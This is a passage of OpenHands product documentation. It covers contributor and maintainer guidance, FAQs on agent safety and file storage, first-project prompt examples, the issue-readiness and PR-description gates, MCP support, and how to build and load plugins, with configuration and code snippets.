**Benchmarking** - Develop new evaluation methods -- **Experimental Features** - Try cutting-edge AI techniques -- **Data Analysis** - Study how developers use AI tools - -## Becoming a Maintainer - -For contributors who have made significant and sustained contributions to the project, there is a possibility of joining the maintainer team. -The process for this is as follows: - -1. Any contributor who has made sustained and high-quality contributions to the codebase can be nominated by any maintainer. If you feel that you may qualify you can reach out to any of the maintainers that have reviewed your PRs and ask if you can be nominated. -2. Once a maintainer nominates a new maintainer, there will be a discussion period among the maintainers for at least 3 days. -3. If no concerns are raised the nomination will be accepted by acclamation, and if concerns are raised there will be a discussion and possible vote. - -Note that just making many PRs does not immediately imply that you will become a maintainer. We will be looking at sustained high-quality contributions over a period of time, as well as good teamwork and adherence to our [Code of Conduct](https://github.com/OpenHands/OpenHands/blob/main/CODE_OF_CONDUCT.md). - -## License - -OpenHands is released under the **MIT License**, which means: - -### You Can: -- **Use** OpenHands for any purpose, including commercial projects -- **Modify** the code to fit your needs -- **Share** your modifications -- **Distribute** or sell copies of OpenHands - -### You Must: -- **Include** the original copyright notice and license text -- **Preserve** the license in any substantial portions you use - -### No Warranty: -- OpenHands is provided "as is" without warranty -- Contributors are not liable for any damages - -*Full license text: [LICENSE](https://github.com/OpenHands/OpenHands/blob/main/LICENSE)* - -**Special Note:** Content in the `enterprise/` directory has a separate license, and we cannot accept external pull requests for changes to this directory at this time. See `enterprise/LICENSE` for details. - -## Ready to make your first contribution? - -1. **⭐ Star** our [GitHub repository](https://github.com/OpenHands/OpenHands) -2. **🔧 Set up** your development environment using our [Development Guide](https://github.com/OpenHands/OpenHands/blob/main/Development.md) -3. **💬 Join** our [Slack community](https://openhands.dev/joinslack) to meet other contributors -4. **🎯 Find** a [good first issue](https://github.com/OpenHands/OpenHands/labels/good%20first%20issue) to work on -5. **📝 Read** our [Code of Conduct](https://github.com/OpenHands/OpenHands/blob/main/CODE_OF_CONDUCT.md) - -## Need Help? - -Don't hesitate to ask for help: -- **Slack**: [Join our community](https://openhands.dev/joinslack) for real-time support -- **GitHub Issues**: [Open an issue](https://github.com/OpenHands/OpenHands/issues) for bugs or feature requests -- **Email**: Contact us at [contact@openhands.dev](mailto:contact@openhands.dev) - ---- - -Thank you for considering contributing to OpenHands! Together, we're building tools that will democratize AI-powered software development and make it accessible to developers everywhere. Every contribution, no matter how small, helps us move closer to that vision. - -Welcome to the community! 🎉 - -### FAQs -Source: https://docs.openhands.dev/overview/faqs.md - -## Getting Started - -### I'm new to OpenHands. Where should I start? - -1. **Quick start**: Use [OpenHands Cloud](/openhands/usage/cloud/openhands-cloud) to get started quickly with - [GitHub](/openhands/usage/cloud/github-installation), [GitLab](/openhands/usage/cloud/gitlab-installation), - [Bitbucket](/openhands/usage/cloud/bitbucket-installation), - and [Slack](/openhands/usage/cloud/slack-installation) integrations. -2. **Run on your own**: If you prefer to run it on your own hardware, follow our [Getting Started guide](/openhands/usage/run-openhands/local-setup). -3. **First steps**: Read over the [first projects guidelines](/overview/first-projects) and - [prompting best practices](/openhands/usage/tips/prompting-best-practices) to learn the basics. - -### Can I use OpenHands for production workloads? - -OpenHands is meant to be run by a single user on their local workstation. It is not appropriate for multi-tenant -deployments where multiple users share the same instance. There is no built-in authentication, isolation, or scalability. - -If you're interested in running OpenHands in a multi-tenant environment, please [contact us](https://docs.google.com/forms/d/e/1FAIpQLSet3VbGaz8z32gW9Wm-Grl4jpt5WgMXPgJ4EDPVmCETCBpJtQ/viewform) about our enterprise deployment options. - - -Using OpenHands for work? We'd love to chat! Fill out -[this short form](https://docs.google.com/forms/d/e/1FAIpQLSet3VbGaz8z32gW9Wm-Grl4jpt5WgMXPgJ4EDPVmCETCBpJtQ/viewform) -to join our Design Partner program, where you'll get early access to commercial features and the opportunity to provide -input on our product roadmap. - - -## Safety and Security - -### It's doing stuff without asking, is that safe? - -**Safety depends on the backend and workspace you select.** A local process backend runs Agent Server and tools directly on its host. Docker, Kubernetes, Sandbox Server, Cloud, and Enterprise deployments can provide stronger isolation according to their container, sandbox, mount, and network configuration. - -**Potential risks to consider:** -- The agent can modify any files exposed to its workspace. -- The agent can use credentials and network access available to its execution environment. -- A local process backend can access the host with the permissions of the user running Agent Server. -- Container isolation can be weakened by broad mounts, privileged mode, host networking, or access to the Docker socket. - -For current component and trust boundaries, see [Agent Canvas Architecture](/openhands/usage/agent-canvas/architecture), [Security Configuration](/openhands/usage/advanced/configuration-options#security-configuration), and [Hardened Docker Installation](/openhands/usage/sandboxes/docker#hardened-docker-installation). - -## File Storage and Access - -### Where are my files stored? - -Your files are stored in different locations depending on how you've configured OpenHands: - -**Default behavior (no file mounting):** -- Files created by the agent are stored inside the runtime Docker container. -- These files are temporary and will be lost when the container is removed. -- The agent works in the `/workspace` directory inside the runtime container. - -**When you mount your local filesystem (following [this](/openhands/usage/sandboxes/docker#connecting-to-your-filesystem)):** -- Your local files are mounted into the container's `/workspace` directory. -- Changes made by the agent are reflected in your local filesystem. -- Files persist after the container is stopped. - - -Be careful when mounting your filesystem - the agent can modify or delete any files in the mounted directory. - - -## Development Tools and Environment - -### How do I get the dev tools I need? - -OpenHands comes with a basic runtime environment that includes Python and Node.js. -It also has the ability to install any tools it needs, so usually it's sufficient to ask it to set up its environment. - -If you would like to set things up more systematically, you can: -- **Use setup.sh**: Add a [setup.sh file](/openhands/usage/customization/repository#setup-script) file to - your repository, which will be run every time the agent starts. -- **Use a custom sandbox**: Use a [custom docker image](/openhands/usage/advanced/custom-sandbox-guide) to initialize the sandbox. - -### Something's not working. Where can I get help? - -1. **Search existing issues**: Check our [GitHub issues](https://github.com/OpenHands/OpenHands/issues) to see if - others have encountered the same problem. -2. **Join our community**: Get help from other users and developers: - - [Slack community](https://openhands.dev/joinslack) -3. **Check our troubleshooting guide**: Common issues and solutions are documented in - [Troubleshooting](/openhands/usage/troubleshooting/troubleshooting). -4. **Report bugs**: If you've found a bug, please [create an issue](https://github.com/OpenHands/OpenHands/issues/new) - and fill in as much detail as possible. - -### First Projects -Source: https://docs.openhands.dev/overview/first-projects.md - -Like any tool, it works best when you know how to use it effectively. Whether you're experimenting with a small -script or making changes in a large codebase, this guide will show how to apply OpenHands in different scenarios. - -Let’s walk through a natural progression of using OpenHands: -- Try a simple prompt. -- Build a project from scratch. -- Add features to existing code. -- Refactor code. -- Debug and fix bugs. - -## First Steps: Hello World - -Start with a small task to get familiar with how OpenHands responds to prompts. - -Click `New Conversation` and try prompting: -> Write a bash script hello.sh that prints "hello world!" - -OpenHands will generate script, set the correct permissions, and even run it for you. - -Now try making small changes: - -> Modify hello.sh so that it accepts a name as the first argument, but defaults to "world". - -You can experiment in any language. For example: - -> Convert hello.sh to a Ruby script, and run it. - - - Start small and iterate. This helps you understand how OpenHands interprets and responds to different prompts. - - -## Build Something from Scratch - -Agents excel at "greenfield" tasks, where they don’t need context about existing code. -Begin with a simple task and iterate from there. Be specific about what you want and the tech stack. - -Click `New Conversation` and give it a clear goal: - -> Build a frontend-only TODO app in React. All state should be stored in localStorage. - -Once the basics are working, build on it just like you would in a real project: - -> Allow adding an optional due date to each task. - -You can also ask OpenHands to help with version control: - -> Commit the changes and push them to a new branch called "feature/due-dates". - - - Break your goals into small, manageable tasks.. Keep pushing your changes often. This makes it easier to recover - if something goes off track. - - -## Expand Existing Code - -Want to add new functionality to an existing repo? OpenHands can do that too. - - -If you're running OpenHands on your own, first add a -[GitHub token](/openhands/usage/settings/integrations-settings#github-setup), -[GitLab token](/openhands/usage/settings/integrations-settings#gitlab-setup) or -[Bitbucket token](/openhands/usage/settings/integrations-settings#bitbucket-setup). - - -Choose your repository and branch via `Open Repository`, and press `Launch`. - -Examples of adding new functionality: - -> Add a GitHub action that lints the code in this repository. - -> Modify ./backend/api/routes.js to add a new route that returns a list of all tasks. - -> Add a new React component to the ./frontend/components directory to display a list of Widgets. -> It should use the existing Widget component. - - - OpenHands can explore the codebase, but giving it context upfront makes it faster and less expensive. - - -## Refactor Code - -OpenHands does great at refactoring code in small chunks. Rather than rearchitecting the entire codebase, it's more -effective in focused refactoring tasks. Start by launching a conversation with -your repo and branch. Then guide it: - -> Rename all the single-letter variables in ./app.go. - -> Split the `build_and_deploy_widgets` function into two functions, `build_widgets` and `deploy_widgets` in widget.php. - -> Break ./api/routes.js into separate files for each route. - - - Focus on small, meaningful improvements instead of full rewrites. - - -## Debug and Fix Bugs - -OpenHands can help debug and fix issues, but it’s most effective when you’ve narrowed things down. - -Give it a clear description of the problem and the file(s) involved: - -> The email field in the `/subscribe` endpoint is rejecting .io domains. Fix this. - -> The `search_widgets` function in ./app.py is doing a case-sensitive search. Make it case-insensitive. - -For bug fixing, test-driven development can be really useful. You can ask OpenHands to write a new test and iterate -until the bug is fixed: - -> The `hello` function crashes on the empty string. Write a test that reproduces this bug, then fix the code so it passes. - - - Be as specific as possible. Include expected behavior, file names, and examples to speed things up. - - -## Using OpenHands Effectively - -OpenHands can assist with nearly any coding task, but it takes some practice to get the best results. -Keep these tips in mind: -* Keep your tasks small. -* Be clear and specific. -* Provide relevant context. -* Commit and push frequently. - -See [Prompting Best Practices](/openhands/usage/tips/prompting-best-practices) for more tips on how to get the most -out of OpenHands. - -### Introduction -Source: https://docs.openhands.dev/overview/introduction.md - -🙌 Welcome to OpenHands, a [community](/overview/community) focused on AI-driven development. We'd love for you to [join us on Slack](https://openhands.dev/joinslack). - -There are a few ways to work with OpenHands: - -## Agent Canvas - -[Agent Canvas](/openhands/usage/agent-canvas/overview) is the open-source browser client and control center for agent conversations and automations. It connects to one or more Agent Server backends. - -The `agent-canvas` launcher can start Canvas with local backend services as an all-in-one stack. You can also run the client separately and connect it to a local, self-hosted, Cloud, or Enterprise backend. - -[Get started with Agent Canvas](/openhands/usage/agent-canvas/overview) or [view the source](https://github.com/OpenHands/OpenHands). - -## OpenHands Software Agent SDK and Agent Server - -The [Software Agent SDK](/sdk) is a composable Python library for building agents that work with code. The same repository contains Agent Server, which exposes agent execution, conversations, tools, and workspaces through REST and WebSocket APIs. - -[Get started with the SDK](/sdk/getting-started) or [view the source](https://github.com/OpenHands/software-agent-sdk). - -## OpenHands Cloud - -[OpenHands Cloud](/openhands/usage/cloud/openhands-cloud) is the managed commercial service for running OpenHands without operating your own backend and sandbox infrastructure. It provides hosted execution, integrations, collaboration, access controls, usage reporting, and budget management. - -[Open Agent Canvas](https://app.all-hands.dev/canvas) to sign in and try it. - -## OpenHands Enterprise - -[OpenHands Enterprise](/enterprise) provides commercial capabilities and support for organizations that need licensed self-hosting or managed deployment options. - -Learn more at [openhands.dev/enterprise](https://openhands.dev/enterprise). - -## Sandbox Server - -[Sandbox Server](https://github.com/OpenHands/sandbox-server) is the community-supported standalone OpenHands API and sandbox control plane. It creates and manages sandboxed environments that host Agent Server. It can be configured to use Agent Canvas as its browser client. - -## Component And Repository Map - -| Component | Responsibility | Source | -|-----------|----------------|--------| -| **Agent Canvas** | Browser client and control center | [`OpenHands/OpenHands`](https://github.com/OpenHands/OpenHands) | -| **Software Agent SDK** | Agent framework, tools, conversations, and workspaces | [`OpenHands/software-agent-sdk`](https://github.com/OpenHands/software-agent-sdk) | -| **Agent Server** | Remote agent execution API | [`OpenHands/software-agent-sdk`](https://github.com/OpenHands/software-agent-sdk/tree/main/openhands-agent-server) | -| **Automation Server** | Scheduled and event-driven automation lifecycle | [`OpenHands/automation`](https://github.com/OpenHands/automation) | -| **Sandbox Server** | Standalone API and sandbox control plane | [`OpenHands/sandbox-server`](https://github.com/OpenHands/sandbox-server) | -| **Documentation** | Documentation for the OpenHands ecosystem | [`OpenHands/docs`](https://github.com/OpenHands/docs) | -| **Evaluations** | Benchmark and evaluation infrastructure | [`OpenHands/benchmarks`](https://github.com/OpenHands/benchmarks) | - -Each public repository includes its own license. Check the repository you use or modify instead of assuming one license applies to the entire ecosystem. - -## Legacy - -The archived [`OpenHands/legacy`](https://github.com/OpenHands/legacy) snapshot also preserves the previous backend and runtime architecture for historical reference. - - - **OpenHands CLI** - - The CLI is a terminal-based interface powered by the Software Agent SDK. It is feature-complete and primarily maintained for stability. - - [Check out the docs](/openhands/usage/cli/installation) or [view the source](https://github.com/OpenHands/OpenHands-CLI). - - **OpenHands Legacy Local GUI** - - The Local GUI is the deprecated Docker-based browser application from the former OpenHands monorepo. Use Agent Canvas for active browser-client development. - - [View the pinned source](https://github.com/OpenHands/legacy). - - -## Community - -Explore all [OpenHands repositories](https://github.com/orgs/OpenHands/repositories) and [join us on Slack](https://openhands.dev/joinslack). - -### Issue Triage and the ready-for-dev Gate -Source: https://docs.openhands.dev/overview/issue-lifecycle.md - -# Issue Triage and the ready-for-dev Gate - -OpenHands uses automated labeling and readiness checks to route issues toward development. Understanding this lifecycle helps you file issues that are picked up quickly and open pull requests that pass validation on the first try. - -Two repositories are covered here: - -- **OpenHands/OpenHands** (the monorepo: app, CLI, and Agent Canvas frontend) -- **OpenHands/software-agent-sdk** (the Agent SDK) - -## What Happens After You File an Issue - -The labeling pipeline differs between the two repositories, but both converge on the same readiness check. - - - - 1. **Type label at creation.** The issue form templates apply the type label (`bug` or `enhancement`) when the issue is created. - 2. **Topic and priority labels.** The all-hands-bot app adds topic and priority labels later. - 3. **Readiness check.** Once a type label is present, the issue readiness workflow evaluates the body against the type-specific criteria below and applies the `ready-for-dev` label within about a minute if they are met. - - - When your agent files an issue, it might forget to check the templates, in which case the issue will have no labels. The all-hands-bot app usually adds a type label within about an hour here too — but if it abstains, the issue waits for a human triager. Only once a type label is present does the readiness check run. - - - - 1. **Type, topic, and priority labels.** The all-hands-bot app applies a type label (`bug` or `enhancement`) plus topic and priority labels, typically within about an hour of filing. - 2. **Readiness check.** As soon as the type label lands, the issue readiness workflow evaluates the body and applies `ready-for-dev` within about a minute if the criteria below are met. - - - The bot can abstain from assigning a type label when it cannot classify the issue confidently. If your issue sits with no type label, the reliable remedy is to recreate it through the web issue form, which sets the type label at creation. - - - - -### Filing Tips - -- **File through the web form when you can.** It is the deterministic path: the type label is set at creation and the readiness check runs within about a minute. -- **SDK issues filed via CLI or API** usually still get labeled by the bot within about an hour, with the abstention risk noted above. -- **Monorepo issues filed via CLI or API** start unlabeled; the triage bot usually types them within about an hour, and only an abstention waits on a human. - -## Readiness Criteria - -The readiness check parses the issue body into sections using `###` (h3) headings — the same headings the issue forms render for each field — and evaluates the sections for the issue's type. - - - Only `###` headings are parsed. If you write the sections as `##` (h2) headings, every section parses as empty and the issue never gets `ready-for-dev` — with no hint that the heading level is the reason. Keep the `###` headings exactly as the form renders them. - - -### Bug Reports - -The bug criteria differ between the two repositories: - -**OpenHands/OpenHands (monorepo)** — all three must hold: - -1. **`### Steps to Reproduce`** is filled in and references a supported run method: `agent-canvas`, `npm run`, or `app.all-hands.dev/canvas`. -2. **`### Actual Behavior`** contains an embedded screenshot or video of the bug (a dragged-in file, a GitHub attachment, or a video link). A screenshot attached to a different field does not count — the evidence must be inside the Actual Behavior section. -3. **`### Acceptance Criteria`** contains at least one checklist item (`- [ ] …`) so the fix is verifiable. - -**OpenHands/software-agent-sdk** — both must hold: - -1. **`### Actual Behavior`** shows the problem as a runnable command or snippet referencing `python`, `pytest`, `uv`, or `pip`. -2. **`### Acceptance Criteria`** contains at least one checklist item (`- [ ] …`). - -### Enhancements - -An issue labeled `enhancement` is ready for development when both of the following hold: - -1. **`### Desired Behavior`** is filled in. -2. **`### Acceptance Criteria`** contains at least one checklist item (`- [ ] …`). - - - An empty optional form field renders as `_No response_`, which the check treats as empty. - - -You can run the same check locally against a draft body before filing, using the script in each repository: - -```bash -python .github/scripts/check_issue_readiness.py --body-file /tmp/issue.md --labels bug -``` - -## The Pull Request Description Gate - -In the monorepo, a workflow validates the PR description before review. It enforces the PR template plus a link back to a ready issue: - -- **First line is `HUMAN:`.** The first visible line of the description must be `HUMAN:` alone on the line, followed by a short human-written note (at least 20 characters), followed by the `AGENT:` marker from the template. Both markers must be present. -- **Template sections are filled in.** The `## Why`, `## Summary`, and `## How to Test` sections must be kept and contain content. -- **The human-tested checkbox.** If the `A human has tested these changes` checkbox is present, it must be checked. -- **Frontend changes need visual evidence.** If the PR touches frontend code, the description must include a screenshot or video. -- **Bug fixes need reproduction evidence.** If the PR is marked as a Bug fix, the description must include a screenshot or video showing the bug before the fix and the result after — this applies even when no frontend code was touched (a terminal capture is fine). -- **A linked issue with `ready-for-dev`.** The body must reference at least one issue (for example `Fixes #123`), and at least one referenced issue must carry the `ready-for-dev` label. -- **The PR type must match the linked issue.** A "Bug fix" PR must link an issue labeled `bug`; a "Feature" PR must link one labeled `enhancement`. - -You can run the same validation locally before opening the PR: - -```bash -python .github/scripts/check_pr_description.py --body-file /tmp/pr-body.md --files-file /tmp/pr-files.txt -``` - -## Common Pitfalls - -- **Using `##` instead of `###` headings in an issue.** The readiness parser only reads `###` headings; `##` sections parse as empty and the sections read as missing with no hint of the real cause. See [Readiness Criteria](#readiness-criteria). -- **Putting the screenshot in the wrong field.** For bug reports, the screenshot or video must be embedded in `### Actual Behavior`. Attaching it elsewhere in the issue does not satisfy the check. -- **Skipping reproduction evidence on a non-frontend bug fix.** The before/after evidence requirement for Bug fix PRs applies regardless of which files changed. -- **Filing a monorepo issue via CLI or API.** It starts unlabeled and the readiness check cannot run until a human triager adds a type label. Use the web form for the deterministic path. -- **Waiting on a stuck SDK issue.** If the triage bot abstains from assigning a type, recreate the issue through the web form rather than waiting. - -## Related - -- [Contributing](/overview/contributing) — how to get started contributing to OpenHands - -### Model Context Protocol (MCP) -Source: https://docs.openhands.dev/overview/model-context-protocol.md - -Model Context Protocol (MCP) is an open standard that allows OpenHands to communicate with external tool servers, extending the agent's capabilities with custom tools, specialized data processing, external API access, and more. MCP is based on the open standard defined at [modelcontextprotocol.io](https://modelcontextprotocol.io). - -## How MCP Works - -When OpenHands starts, it: - -1. Reads the MCP configuration -2. Connects to configured servers (SSE, SHTTP, or stdio) -3. Registers tools provided by these servers with the agent -4. Routes tool calls to appropriate MCP servers during execution - -## MCP Support Matrix - -| Platform | Support Level | Configuration Method | Documentation | -|----------|---------------|---------------------|---------------| -| **CLI** | ✅ Full Support | `~/.openhands/mcp.json` file | [CLI MCP Servers](/openhands/usage/cli/mcp-servers) | -| **SDK** | ✅ Full Support | Programmatic configuration | [SDK MCP Guide](/sdk/guides/mcp) | -| **Local GUI** | ✅ Full Support | Settings UI + config files | [Local GUI](/openhands/usage/run-openhands/local-setup) | -| **OpenHands Cloud** | ✅ Full Support | Cloud UI settings | [Cloud GUI](/openhands/usage/cloud/cloud-ui) | - -## Platform-Specific Differences - - - - - Configuration via `~/.openhands/mcp.json` file - - Real-time status monitoring with `/mcp` command - - Supports all MCP transport protocols (SSE, SHTTP, stdio) - - Manual configuration required - - - - Programmatic configuration in code - - Full control over MCP server lifecycle - - Dynamic server registration and management - - Integration with custom tool systems - - - - Visual configuration through Settings UI - - File-based configuration backup - - Real-time server status display - - Supports all transport protocols - - - - Cloud-based configuration management - - Managed MCP server hosting options - - Team-wide configuration sharing - - Enterprise security features - - - -## Getting Started with MCP - -- **For detailed configuration**: See [MCP Settings](/openhands/usage/settings/mcp-settings) -- **For CLI usage**: See [CLI MCP Servers](/openhands/usage/cli/mcp-servers) -- **For SDK integration**: See [SDK MCP Guide](/sdk/guides/mcp) -- **For scoping MCP servers to an agent profile in Agent Canvas**: See [Agent Profiles](/openhands/usage/agent-canvas/agent-profiles) -- **For architecture details**: See [MCP Architecture](/sdk/arch/mcp) - -### Plugins -Source: https://docs.openhands.dev/overview/plugins.md - -Plugins provide a way to package and distribute multiple agent components as a single unit. Instead of managing individual skills, hooks, and configurations separately, plugins bundle everything together for easier installation and distribution. - -## What Are Plugins? - -A plugin is a directory structure that can contain: - -- **Skills**: Specialized knowledge and workflows -- **Hooks**: Event handlers for tool lifecycle -- **MCP Config**: External tool server configurations -- **Agents**: Specialized agent definitions -- **Commands**: Slash commands - -The plugin format is compatible with the [Claude Code plugin structure](https://github.com/anthropics/claude-code/tree/main/plugins). Both `.plugin/` (OpenHands-native) and `.claude-plugin/` (Claude Code compatible) directory names are supported for the metadata directory. - - - -OpenHands also loads packages published in the portable [Agent Plugins](/overview/agent-plugins) format, which places `plugin.json` at the package root instead of in a metadata directory. - - -## Plugins vs Skills - -Understanding the difference helps you choose the right approach: - - - - **Specialized prompts for specific tasks** - - - One skill = one specific capability - - Just a SKILL.md file (+ optional resources) - - Lightweight and focused - - Quick to create and share - - **When to use:** - - Adding single capabilities - - Simple workflows - - Domain-specific knowledge - - Quick solutions - - - - **Multi-component bundles** - - - Multiple skills + hooks + config - - Complete feature ecosystems - - Coordinated components - - Professional distribution - - **When to use:** - - Complete feature sets - - Tool integrations - - Team standards - - Commercial distributions - - - -### Comparison Table - -| Aspect | Skills | Plugins | -|--------|--------|---------| -| **Complexity** | Simple | Comprehensive | -| **Components** | Knowledge only | Skills + hooks + MCP + commands | -| **Use Case** | Single capability | Complete feature set | -| **Creation** | Few minutes | Planned development | -| **Distribution** | Copy directory | Structured package | -| **Maintenance** | Individual files | Coordinated bundle | - -### When to Use Each - -**Use a Skill when you need:** -- A single reusable prompt or workflow -- Domain-specific knowledge -- Simple automation -- Quick solutions - -**Use a Plugin when you need:** -- Multiple related skills working together -- Event handlers (hooks) for tool actions -- External tool integrations (MCP) -- Complete platform integrations -- Team or organizational standards - -**Example: Code Quality** - -*As separate skills:* -``` -.agents/skills/ -├── python-linting/ -├── code-review/ -└── pre-commit-setup/ -``` - -*As a plugin:* -``` -code-quality-plugin/ -├── .plugin/plugin.json # or .claude-plugin/plugin.json -├── skills/ -│ ├── linting/ -│ ├── review/ -│ └── setup/ -├── hooks/hooks.json # Post-edit linting -└── .mcp.json # Code analysis tools -``` - -The plugin version bundles all quality-related capabilities and automatically runs checks after file edits. - -## Plugin Structure - -A complete plugin follows this directory structure: - -``` -plugin-name/ -├── .plugin/ # or .claude-plugin/ -│ └── plugin.json # Required: Plugin metadata -├── skills/ -│ └── skill-name/ -│ └── SKILL.md # Individual skills -├── hooks/ -│ └── hooks.json # Tool lifecycle hooks -├── agents/ -│ └── agent-name.md # Specialized agents -├── commands/ -│ └── command-name.md # Slash commands -├── .mcp.json # MCP server config -└── README.md # Documentation -``` - -### Required Components - -Only one file is required: - -- **`plugin-name/.plugin/plugin.json`** or **`plugin-name/.claude-plugin/plugin.json`**: Plugin metadata - -All other components are optional—include only what your plugin needs. - -### Plugin Metadata - -The `plugin.json` file defines your plugin: - -```json -{ - "name": "code-quality", - "version": "1.0.0", - "description": "Code quality tools and workflows", - "author": { - "name": "Your Name", - "email": "your@email.com" - }, - "license": "MIT", - "repository": "https://github.com/example/code-quality-plugin" -} -``` - -The `author` field can also be a simple string such as `"Your Name"`. - -## Plugin Components Explained - - - - Skills in plugins work identically to standalone skills. Each skill has its own directory with a SKILL.md file: - - ``` - skills/ - ├── linting/ - │ ├── SKILL.md - │ └── scripts/ - └── testing/ - └── SKILL.md - ``` - - See [Skills Documentation](/overview/skills) for skill creation details. - - - - Hooks are event handlers that run during tool lifecycle events: - - ```json - { - "hooks": { - "PostToolUse": [ - { - "matcher": "file_editor", - "hooks": [ - { - "type": "command", - "command": "ruff check $OPENHANDS_PROJECT_DIR", - "timeout": 10 - } - ] - } - ] - } - } - ``` - - Hook commands have access to these environment variables: - - `$OPENHANDS_PROJECT_DIR`: Path to the project directory - - `$OPENHANDS_SESSION_ID`: Current session identifier - - `$OPENHANDS_EVENT_TYPE`: The triggering event type - - `$OPENHANDS_TOOL_NAME`: Name of the tool that triggered the hook - - **Common use cases:** - - Run linters after file edits - - Validate tool inputs - - Log tool usage - - Trigger dependent actions - - **Available hook events:** - - `PreToolUse`: Before tool execution - - `PostToolUse`: After tool execution - - `UserPromptSubmit`: When the user submits a prompt - - `SessionStart`: When the session starts - - `SessionEnd`: When the session ends - - `Stop`: When execution stops - - - - MCP (Model Context Protocol) servers provide external tools and resources: - - ```json - { - "mcpServers": { - "fetch": { - "command": "uvx", - "args": ["mcp-server-fetch"] - }, - "github": { - "command": "uvx", - "args": ["mcp-server-github"], - "env": { - "GITHUB_TOKEN": "${GITHUB_TOKEN}" - } - } - } - } - ``` - - **Use cases:** - - Connect to external APIs - - Add specialized tools - - Integrate third-party services - - Learn more: [Model Context Protocol](/overview/model-context-protocol) - - - - Specialized agent definitions for specific tasks: - - ```markdown - --- - name: code-reviewer - description: Specialized agent for code review tasks - --- - - # Code Review Agent - - This agent specializes in reviewing code according to team standards... - ``` - - Agents in plugins can use the plugin's skills and hooks automatically. - - - - Custom slash commands for plugin functionality: - - ```markdown - --- - name: /lint - description: Run linters on current file - --- - - # Lint Command - - Run configured linters on the current file... - ``` - - Commands provide quick access to plugin features. - - - -## Using Plugins - -How you use plugins depends on your platform: - - - - **Via configuration file:** - - Create `~/.openhands/config.toml`: - ```toml - [plugins] - sources = [ - "/path/to/local/plugin", - "github:org/plugin-repo", - ] - ``` - - **Via command line:** - ```bash - openhands --plugin /path/to/plugin - openhands --plugin github:org/plugin-repo - ``` - - Plugins are loaded when OpenHands starts. - - - - Load plugins programmatically: - - ```python - from openhands.sdk import LLM, Agent, Conversation - from openhands.sdk.plugin import PluginSource - from pydantic import SecretStr - - llm = LLM(model="claude-sonnet-4-20250514", api_key=SecretStr("your-api-key")) - agent = Agent(llm=llm) - - plugins = [ - PluginSource(source="/path/to/plugin"), - PluginSource(source="github:org/repo", ref="v1.0.0"), - ] - - conversation = Conversation( - agent=agent, - plugins=plugins, - ) - ``` - - See [SDK Plugins Guide](/sdk/guides/plugins) for details. - - - - **Via UI:** - 1. Open Settings - 2. Navigate to Plugins section - 3. Add plugin path or GitHub URL - 4. Restart to load - - **Via file system:** - Place plugins in `.openhands/plugins/` in your workspace. - - - - **Via Cloud UI:** - 1. Navigate to Workspace Settings - 2. Select Plugins tab - 3. Browse plugin library or add custom plugin - 4. Click "Enable" to activate - - Organization admins can publish plugins for team-wide access. - - - -## Installing Plugins - -### From a Local Directory - -1. **Verify plugin structure**: - ```bash - ls plugin-dir/.plugin/plugin.json || ls plugin-dir/.claude-plugin/plugin.json - ``` - -2. **Use the plugin path** in your configuration or command line - -### From GitHub - -Plugins can be loaded directly from GitHub repositories: - -``` -github:OpenHands/example-plugin -github:org/repo/path/to/plugin # For monorepos -github:org/repo#branch-name # Specific branch -github:org/repo#v1.0.0 # Specific tag -``` - -### Plugin Sources - - - - [github.com/OpenHands/extensions](https://github.com/OpenHands/extensions) - - Community-maintained plugins - - - - Your own GitHub repositories - - Organization or private plugins - - - -## Creating Plugins - -To create your own plugin: - -### 1. Plan Your Components - -Determine what your plugin needs: -- Which skills? -- What hooks for automation? -- Any MCP integrations? -- Custom commands? - -### 2. Create Directory Structure - -```bash -mkdir -p my-plugin/.plugin -mkdir -p my-plugin/skills -mkdir -p my-plugin/hooks -``` - -Use `.claude-plugin/` instead of `.plugin/` if you want Claude Code-compatible naming. - -### 3. Create Plugin Metadata - -Create `my-plugin/.plugin/plugin.json` (or `my-plugin/.claude-plugin/plugin.json`): -```json -{ - "name": "my-plugin", - "version": "0.1.0", - "description": "My custom plugin", - "author": { - "name": "Your Name" - } -} -``` - -### 4. Add Components - -Add skills, hooks, and other components as needed: - -``` -my-plugin/ -├── .plugin/plugin.json # or .claude-plugin/plugin.json -├── skills/ -│ └── my-skill/ -│ └── SKILL.md -└── hooks/ - └── hooks.json -``` - -### 5. Test Locally - -Load your plugin and verify all components work: - -```bash -openhands --plugin /path/to/my-plugin -``` - -### 6. Distribute - -Options for distribution: -- **GitHub repository**: Push to GitHub and share URL -- **File sharing**: Zip and share directory -- **Package registry**: Submit to official registry - -## Plugin Examples - - - - **Contains:** - - Python linting skill - - JavaScript linting skill - - Post-edit hooks for auto-linting - - Pre-commit setup - - **Use case:** Enforce code standards - - - - **Contains:** - - Kubernetes deployment skill - - Docker build skill - - CI/CD workflow skill - - kubectl MCP server - - **Use case:** Infrastructure management - - - - **Contains:** - - REST API client skill - - Authentication skill - - Rate limiting hooks - - API MCP server - - **Use case:** External service integration - - - - **Contains:** - - Unit testing skill - - Integration testing skill - - Post-code hooks for test runs - - Coverage commands - - **Use case:** Automated testing - - - -## Plugin Development Best Practices - - - - Begin by creating the core skills your plugin needs. Test them individually before bundling. - - - - Identify repetitive tasks and automate them with hooks. Example: run linters after file edits. - - - - Add MCP servers for external tool integration. This provides your skills with additional capabilities. - - - - Include a comprehensive README explaining: - - What the plugin does - - How to install it - - Configuration options - - Example usage - - - - Use semantic versioning (major.minor.patch) and document breaking changes. - - - -## Troubleshooting - - - - **Check:** - - `.plugin/plugin.json` or `.claude-plugin/plugin.json` exists and is valid JSON - - Plugin path is correct - - All referenced files exist - - **Debug:** - ```bash - # Verify structure - ls -la plugin-name/.plugin/plugin.json || ls -la plugin-name/.claude-plugin/plugin.json - - # Check JSON syntax - (cat plugin-name/.plugin/plugin.json 2>/dev/null || cat plugin-name/.claude-plugin/plugin.json) | python -m json.tool - ``` - - - - **Check:** - - Skills have valid SKILL.md files - - Frontmatter includes `triggers` - - Trigger keywords match your prompts - - **Test:** - Use explicit trigger keywords from the skill's frontmatter. - - - - **Check:** - - `hooks/hooks.json` syntax is valid - - Hook matchers target the right tools - - Commands are executable - - **Debug:** - Check logs for hook execution errors. - - - -## Next Steps - -- **[Learn about Skills](/overview/skills)** - Understand the core component of plugins -- **[Explore MCP](/overview/model-context-protocol)** - Add external tool integrations -- **[SDK Plugins Guide](/sdk/guides/plugins)** - Programmatic plugin usage -- **[Browse Examples](https://github.com/OpenHands/software-agent-sdk/tree/main/examples/05_skills_and_plugins/02_loading_plugins/example_plugins)** - See complete plugin structures - -## Further Reading - -For SDK developers: -- **[SDK Plugins Documentation](/sdk/guides/plugins)** - Detailed SDK integration -- **[Hooks 